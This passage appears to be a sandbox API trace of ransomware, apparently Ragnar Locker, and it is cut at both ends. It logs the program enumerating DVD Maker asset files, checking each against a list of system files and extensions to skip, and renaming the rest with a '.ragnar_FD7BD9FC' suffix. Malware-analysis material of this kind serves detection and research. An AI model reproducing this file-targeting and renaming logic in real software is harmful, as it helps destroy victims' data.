Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground_PAL.wmv.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground_PAL.wmv.ragnar_FD7BD9FC" [0078.725] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboynotesbackground_pal.wmv"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground_PAL.wmv.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboynotesbackground_pal.wmv.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0078.725] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70f5a70d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70f5a70d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f0141b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2472c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyScenesBackground.wmv", cAlternateFileName="")) returned 1 [0078.725] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3b [0078.725] lstrcpyW (in: lpString1=0x1eab58, lpString2="BabyBoyScenesBackground.wmv" | out: lpString1="BabyBoyScenesBackground.wmv") returned="BabyBoyScenesBackground.wmv" [0078.725] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyScenesBackground.wmv") returned=".wmv" [0078.725] lstrcmpiW (lpString1="BabyBoyScenesBackground.wmv", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0078.725] lstrcmpiW (lpString1="BabyBoyScenesBackground.wmv", lpString2="autorun.inf") returned 1 [0078.725] lstrcmpiW (lpString1="BabyBoyScenesBackground.wmv", lpString2="boot.ini") returned -1 [0078.725] lstrcmpiW (lpString1="BabyBoyScenesBackground.wmv", lpString2="bootfont.bin") returned -1 [0078.725] lstrcmpiW (lpString1="BabyBoyScenesBackground.wmv", lpString2="bootsect.bak") returned -1 [0078.725] lstrcmpiW (lpString1="BabyBoyScenesBackground.wmv", lpString2="bootmgr") returned -1 [0078.725] lstrcmpiW (lpString1="BabyBoyScenesBackground.wmv", lpString2="bootmgr.efi") returned -1 [0078.725] lstrcmpiW (lpString1="BabyBoyScenesBackground.wmv", lpString2="bootmgfw.efi") returned -1 [0078.725] lstrcmpiW (lpString1="BabyBoyScenesBackground.wmv", lpString2="desktop.ini") returned -1 [0078.725] lstrcmpiW (lpString1="BabyBoyScenesBackground.wmv", lpString2="iconcache.db") returned -1 [0078.726] lstrcmpiW (lpString1="BabyBoyScenesBackground.wmv", lpString2="ntldr") returned -1 [0078.726] lstrcmpiW (lpString1="BabyBoyScenesBackground.wmv", lpString2="ntuser.dat") returned -1 [0078.726] lstrcmpiW (lpString1="BabyBoyScenesBackground.wmv", lpString2="ntuser.dat.log") returned -1 [0078.726] lstrcmpiW (lpString1="BabyBoyScenesBackground.wmv", lpString2="ntuser.ini") returned -1 [0078.726] lstrcmpiW (lpString1="BabyBoyScenesBackground.wmv", lpString2="thumbs.db") returned -1 [0078.726] lstrcmpiW (lpString1=".wmv", lpString2=".db") returned 1 [0078.726] lstrcmpiW (lpString1=".wmv", lpString2=".sys") returned 1 [0078.726] lstrcmpiW (lpString1=".wmv", lpString2=".dll") returned 1 [0078.726] lstrcmpiW (lpString1=".wmv", lpString2=".lnk") returned 1 [0078.726] lstrcmpiW (lpString1=".wmv", lpString2=".msi") returned 1 [0078.726] lstrcmpiW (lpString1=".wmv", lpString2=".drv") returned 1 [0078.726] lstrcmpiW (lpString1=".wmv", lpString2=".exe") returned 1 [0078.726] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyScenesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboyscenesbackground.wmv")) returned 0x20 [0078.727] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyScenesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboyscenesbackground.wmv"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0078.727] CloseHandle (hObject=0xffffffff) returned 0 [0078.727] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyScenesBackground.wmv" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyScenesBackground.wmv") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyScenesBackground.wmv" [0078.727] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyScenesBackground.wmv", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyScenesBackground.wmv.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyScenesBackground.wmv.ragnar_FD7BD9FC" [0078.727] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyScenesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboyscenesbackground.wmv"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyScenesBackground.wmv.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboyscenesbackground.wmv.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0078.727] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70f8086a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70f8086a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f0141b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1e96c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyScenesBackground_PAL.wmv", cAlternateFileName="")) returned 1 [0078.727] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3b [0078.727] lstrcpyW (in: lpString1=0x1eab58, lpString2="BabyBoyScenesBackground_PAL.wmv" | out: lpString1="BabyBoyScenesBackground_PAL.wmv") returned="BabyBoyScenesBackground_PAL.wmv" [0078.727] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyScenesBackground_PAL.wmv") returned=".wmv" [0078.727] lstrcmpiW (lpString1="BabyBoyScenesBackground_PAL.wmv", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0078.727] lstrcmpiW (lpString1="BabyBoyScenesBackground_PAL.wmv", lpString2="autorun.inf") returned 1 [0078.727] lstrcmpiW (lpString1="BabyBoyScenesBackground_PAL.wmv", lpString2="boot.ini") returned -1 [0078.727] lstrcmpiW (lpString1="BabyBoyScenesBackground_PAL.wmv", lpString2="bootfont.bin") returned -1 [0078.727] lstrcmpiW (lpString1="BabyBoyScenesBackground_PAL.wmv", lpString2="bootsect.bak") returned -1 [0078.727] lstrcmpiW (lpString1="BabyBoyScenesBackground_PAL.wmv", lpString2="bootmgr") returned -1 [0078.727] lstrcmpiW (lpString1="BabyBoyScenesBackground_PAL.wmv", lpString2="bootmgr.efi") returned -1 [0078.727] lstrcmpiW (lpString1="BabyBoyScenesBackground_PAL.wmv", lpString2="bootmgfw.efi") returned -1 [0078.727] lstrcmpiW (lpString1="BabyBoyScenesBackground_PAL.wmv", lpString2="desktop.ini") returned -1 [0078.727] lstrcmpiW (lpString1="BabyBoyScenesBackground_PAL.wmv", lpString2="iconcache.db") returned -1 [0078.727] lstrcmpiW (lpString1="BabyBoyScenesBackground_PAL.wmv", lpString2="ntldr") returned -1 [0078.727] lstrcmpiW (lpString1="BabyBoyScenesBackground_PAL.wmv", lpString2="ntuser.dat") returned -1 [0078.727] lstrcmpiW (lpString1="BabyBoyScenesBackground_PAL.wmv", lpString2="ntuser.dat.log") returned -1 [0078.727] lstrcmpiW (lpString1="BabyBoyScenesBackground_PAL.wmv", lpString2="ntuser.ini") returned -1 [0078.727] lstrcmpiW (lpString1="BabyBoyScenesBackground_PAL.wmv", lpString2="thumbs.db") returned -1 [0078.728] lstrcmpiW (lpString1=".wmv", lpString2=".db") returned 1 [0078.728] lstrcmpiW (lpString1=".wmv", lpString2=".sys") returned 1 [0078.728] lstrcmpiW (lpString1=".wmv", lpString2=".dll") returned 1 [0078.728] lstrcmpiW (lpString1=".wmv", lpString2=".lnk") returned 1 [0078.728] lstrcmpiW (lpString1=".wmv", lpString2=".msi") returned 1 [0078.728] lstrcmpiW (lpString1=".wmv", lpString2=".drv") returned 1 [0078.728] lstrcmpiW (lpString1=".wmv", lpString2=".exe") returned 1 [0078.728] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyScenesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboyscenesbackground_pal.wmv")) returned 0x20 [0078.728] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyScenesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboyscenesbackground_pal.wmv"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0078.728] CloseHandle (hObject=0xffffffff) returned 0 [0078.728] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyScenesBackground_PAL.wmv" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyScenesBackground_PAL.wmv") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyScenesBackground_PAL.wmv" [0078.728] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyScenesBackground_PAL.wmv", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyScenesBackground_PAL.wmv.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyScenesBackground_PAL.wmv.ragnar_FD7BD9FC" [0078.728] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyScenesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboyscenesbackground_pal.wmv"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyScenesBackground_PAL.wmv.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboyscenesbackground_pal.wmv.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0078.728] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70fa69c7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70fa69c7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f0141b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xdc, dwReserved0=0x0, dwReserved1=0x0, cFileName="LightBlueRectangle.PNG", cAlternateFileName="")) returned 1 [0078.728] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3b [0078.728] lstrcpyW (in: lpString1=0x1eab58, lpString2="LightBlueRectangle.PNG" | out: lpString1="LightBlueRectangle.PNG") returned="LightBlueRectangle.PNG" [0078.728] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\LightBlueRectangle.PNG") returned=".PNG" [0078.728] lstrcmpiW (lpString1="LightBlueRectangle.PNG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0078.728] lstrcmpiW (lpString1="LightBlueRectangle.PNG", lpString2="autorun.inf") returned 1 [0078.728] lstrcmpiW (lpString1="LightBlueRectangle.PNG", lpString2="boot.ini") returned 1 [0078.728] lstrcmpiW (lpString1="LightBlueRectangle.PNG", lpString2="bootfont.bin") returned 1 [0078.728] lstrcmpiW (lpString1="LightBlueRectangle.PNG", lpString2="bootsect.bak") returned 1 [0078.728] lstrcmpiW (lpString1="LightBlueRectangle.PNG", lpString2="bootmgr") returned 1 [0078.728] lstrcmpiW (lpString1="LightBlueRectangle.PNG", lpString2="bootmgr.efi") returned 1 [0078.728] lstrcmpiW (lpString1="LightBlueRectangle.PNG", lpString2="bootmgfw.efi") returned 1 [0078.729] lstrcmpiW (lpString1="LightBlueRectangle.PNG", lpString2="desktop.ini") returned 1 [0078.729] lstrcmpiW (lpString1="LightBlueRectangle.PNG", lpString2="iconcache.db") returned 1 [0078.729] lstrcmpiW (lpString1="LightBlueRectangle.PNG", lpString2="ntldr") returned -1 [0078.729] lstrcmpiW (lpString1="LightBlueRectangle.PNG", lpString2="ntuser.dat") returned -1 [0078.729] lstrcmpiW (lpString1="LightBlueRectangle.PNG", lpString2="ntuser.dat.log") returned -1 [0078.729] lstrcmpiW (lpString1="LightBlueRectangle.PNG", lpString2="ntuser.ini") returned -1 [0078.729] lstrcmpiW (lpString1="LightBlueRectangle.PNG", lpString2="thumbs.db") returned -1 [0078.729] lstrcmpiW (lpString1=".PNG", lpString2=".db") returned 1 [0078.729] lstrcmpiW (lpString1=".PNG", lpString2=".sys") returned -1 [0078.729] lstrcmpiW (lpString1=".PNG", lpString2=".dll") returned 1 [0078.729] lstrcmpiW (lpString1=".PNG", lpString2=".lnk") returned 1 [0078.729] lstrcmpiW (lpString1=".PNG", lpString2=".msi") returned 1 [0078.729] lstrcmpiW (lpString1=".PNG", lpString2=".drv") returned 1 [0078.729] lstrcmpiW (lpString1=".PNG", lpString2=".exe") returned 1 [0078.729] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\LightBlueRectangle.PNG" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\lightbluerectangle.png")) returned 0x20 [0078.729] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\LightBlueRectangle.PNG" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\lightbluerectangle.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0078.729] CloseHandle (hObject=0xffffffff) returned 0 [0078.729] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\LightBlueRectangle.PNG" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\LightBlueRectangle.PNG") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\LightBlueRectangle.PNG" [0078.729] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\LightBlueRectangle.PNG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\LightBlueRectangle.PNG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\LightBlueRectangle.PNG.ragnar_FD7BD9FC" [0078.729] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\LightBlueRectangle.PNG" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\lightbluerectangle.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\LightBlueRectangle.PNG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\lightbluerectangle.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0078.729] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70fccb24, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70fccb24, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f27579, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb6a, dwReserved0=0x0, dwReserved1=0x0, cFileName="MainMenuButtonIcon.png", cAlternateFileName="")) returned 1 [0078.729] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3b [0078.729] lstrcpyW (in: lpString1=0x1eab58, lpString2="MainMenuButtonIcon.png" | out: lpString1="MainMenuButtonIcon.png") returned="MainMenuButtonIcon.png" [0078.729] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\MainMenuButtonIcon.png") returned=".png" [0078.730] lstrcmpiW (lpString1="MainMenuButtonIcon.png", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0078.730] lstrcmpiW (lpString1="MainMenuButtonIcon.png", lpString2="autorun.inf") returned 1 [0078.730] lstrcmpiW (lpString1="MainMenuButtonIcon.png", lpString2="boot.ini") returned 1 [0078.730] lstrcmpiW (lpString1="MainMenuButtonIcon.png", lpString2="bootfont.bin") returned 1 [0078.730] lstrcmpiW (lpString1="MainMenuButtonIcon.png", lpString2="bootsect.bak") returned 1 [0078.730] lstrcmpiW (lpString1="MainMenuButtonIcon.png", lpString2="bootmgr") returned 1 [0078.730] lstrcmpiW (lpString1="MainMenuButtonIcon.png", lpString2="bootmgr.efi") returned 1 [0078.730] lstrcmpiW (lpString1="MainMenuButtonIcon.png", lpString2="bootmgfw.efi") returned 1 [0078.730] lstrcmpiW (lpString1="MainMenuButtonIcon.png", lpString2="desktop.ini") returned 1 [0078.730] lstrcmpiW (lpString1="MainMenuButtonIcon.png", lpString2="iconcache.db") returned 1 [0078.730] lstrcmpiW (lpString1="MainMenuButtonIcon.png", lpString2="ntldr") returned -1 [0078.730] lstrcmpiW (lpString1="MainMenuButtonIcon.png", lpString2="ntuser.dat") returned -1 [0078.730] lstrcmpiW (lpString1="MainMenuButtonIcon.png", lpString2="ntuser.dat.log") returned -1 [0078.730] lstrcmpiW (lpString1="MainMenuButtonIcon.png", lpString2="ntuser.ini") returned -1 [0078.730] lstrcmpiW (lpString1="MainMenuButtonIcon.png", lpString2="thumbs.db") returned -1 [0078.730] lstrcmpiW (lpString1=".png", lpString2=".db") returned 1 [0078.730] lstrcmpiW (lpString1=".png", lpString2=".sys") returned -1 [0078.730] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0078.730] lstrcmpiW (lpString1=".png", lpString2=".lnk") returned 1 [0078.730] lstrcmpiW (lpString1=".png", lpString2=".msi") returned 1 [0078.730] lstrcmpiW (lpString1=".png", lpString2=".drv") returned 1 [0078.730] lstrcmpiW (lpString1=".png", lpString2=".exe") returned 1 [0078.730] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\MainMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\mainmenubuttonicon.png")) returned 0x20 [0078.730] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\MainMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\mainmenubuttonicon.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0078.730] CloseHandle (hObject=0xffffffff) returned 0 [0078.730] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\MainMenuButtonIcon.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\MainMenuButtonIcon.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\MainMenuButtonIcon.png" [0078.730] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\MainMenuButtonIcon.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\MainMenuButtonIcon.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\MainMenuButtonIcon.png.ragnar_FD7BD9FC" [0078.731] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\MainMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\mainmenubuttonicon.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\MainMenuButtonIcon.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\mainmenubuttonicon.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0078.731] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7103ef3b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7103ef3b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f4d6d7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xf63, dwReserved0=0x0, dwReserved1=0x0, cFileName="navSubpicture.png", cAlternateFileName="")) returned 1 [0078.731] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3b [0078.731] lstrcpyW (in: lpString1=0x1eab58, lpString2="navSubpicture.png" | out: lpString1="navSubpicture.png") returned="navSubpicture.png" [0078.731] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\navSubpicture.png") returned=".png" [0078.731] lstrcmpiW (lpString1="navSubpicture.png", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0078.731] lstrcmpiW (lpString1="navSubpicture.png", lpString2="autorun.inf") returned 1 [0078.731] lstrcmpiW (lpString1="navSubpicture.png", lpString2="boot.ini") returned 1 [0078.731] lstrcmpiW (lpString1="navSubpicture.png", lpString2="bootfont.bin") returned 1 [0078.731] lstrcmpiW (lpString1="navSubpicture.png", lpString2="bootsect.bak") returned 1 [0078.731] lstrcmpiW (lpString1="navSubpicture.png", lpString2="bootmgr") returned 1 [0078.731] lstrcmpiW (lpString1="navSubpicture.png", lpString2="bootmgr.efi") returned 1 [0078.731] lstrcmpiW (lpString1="navSubpicture.png", lpString2="bootmgfw.efi") returned 1 [0078.731] lstrcmpiW (lpString1="navSubpicture.png", lpString2="desktop.ini") returned 1 [0078.731] lstrcmpiW (lpString1="navSubpicture.png", lpString2="iconcache.db") returned 1 [0078.731] lstrcmpiW (lpString1="navSubpicture.png", lpString2="ntldr") returned -1 [0078.731] lstrcmpiW (lpString1="navSubpicture.png", lpString2="ntuser.dat") returned -1 [0078.731] lstrcmpiW (lpString1="navSubpicture.png", lpString2="ntuser.dat.log") returned -1 [0078.731] lstrcmpiW (lpString1="navSubpicture.png", lpString2="ntuser.ini") returned -1 [0078.731] lstrcmpiW (lpString1="navSubpicture.png", lpString2="thumbs.db") returned -1 [0078.731] lstrcmpiW (lpString1=".png", lpString2=".db") returned 1 [0078.731] lstrcmpiW (lpString1=".png", lpString2=".sys") returned -1 [0078.731] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0078.731] lstrcmpiW (lpString1=".png", lpString2=".lnk") returned 1 [0078.731] lstrcmpiW (lpString1=".png", lpString2=".msi") returned 1 [0078.731] lstrcmpiW (lpString1=".png", lpString2=".drv") returned 1 [0078.731] lstrcmpiW (lpString1=".png", lpString2=".exe") returned 1 [0078.731] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\navSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\navsubpicture.png")) returned 0x20 [0078.732] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\navSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\navsubpicture.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0078.732] CloseHandle (hObject=0xffffffff) returned 0 [0078.732] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\navSubpicture.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\navSubpicture.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\navSubpicture.png" [0078.732] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\navSubpicture.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\navSubpicture.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD 